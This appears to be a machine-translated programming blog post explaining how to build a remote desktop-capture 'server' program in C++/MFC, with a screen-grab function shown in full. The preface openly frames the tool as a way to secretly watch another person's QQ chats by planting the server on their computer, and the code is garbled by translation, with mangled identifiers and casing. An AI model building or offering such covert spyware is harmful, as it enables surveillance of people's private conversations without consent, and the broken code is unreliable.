First, the preface
Read everybody wrote so many code, oneself also want to contribute a little. Oh, a lot of times when we want to see the QQ and their chat with the other people chatting, what methods do not? The direct point is to intercept each other's desktop. I looked at the general interception of the desktop are not timely display and update, and each time if the reading from the disk is too slow to read, can directly bitmap data directly to the network terminal display it? Ok this method should be possible. Gossip is free of words. began to formally enter our topic.
Second, the Service program realization
The first thing to do is put the server program on each other's computer: EmployerSever.exe. The transmission of the network naturally indispensable, I used the MFC CSocket. The control side of the program is to tap the "Start service" can accept the network at the other end of the connection. The key to the service side is to intercept the screen and send it out. As shown below:
void Cemployerseverdlg::catchscreen ()
{
The protect type is used only for calls to internal functions,
Intercept screen bitmap information and data information in BTM and lpdata, respectively.
CDC DC;
dc. CreateDC ("DISPLAY", null,null,null);
CBitmap BM;
int Width=getsystemmetrics (sm_cxscreen);
int Height=getsystemmetrics (sm_cyscreen);
Bm. CreateCompatibleBitmap (&dc,width,height);
CDC TDC;
Tdc. CreateCompatibleDC (&DC);
Cbitmap*pold=tdc. SelectObject (&BM);
Tdc. BitBlt (0,0,width,height,&dc,0,0,srccopy);
Tdc. SelectObject (Pold);
Bm. Getbitmap (&BTM);
Size=btm.bmwidthbytes*btm.bmheight;
Lpdata=new Char[size];
/////////////////////////////////////////////
Bitmapinfoheader BiH;
Bih.bibitcount=btm.bmbitspixel;
bih.biclrimportant=0;
Bih.biclrused=0;
bih.bicompression=0;
Bih.biheight=btm.bmheight;
Bih.biplanes=1;
Bih.bisize=sizeof (Bitmapinfoheader);
Bih.bisizeimage=size;
Bih.biwidth=btm.bmwidth;
bih.bixpelspermeter=0;
bih.biypelspermeter=0;
///////////////////////////////////
GetDIBits (Dc,bm,0,bih.biheight,lpdata, (bitmapinfo*) &bih,dib_rgb_colors);
}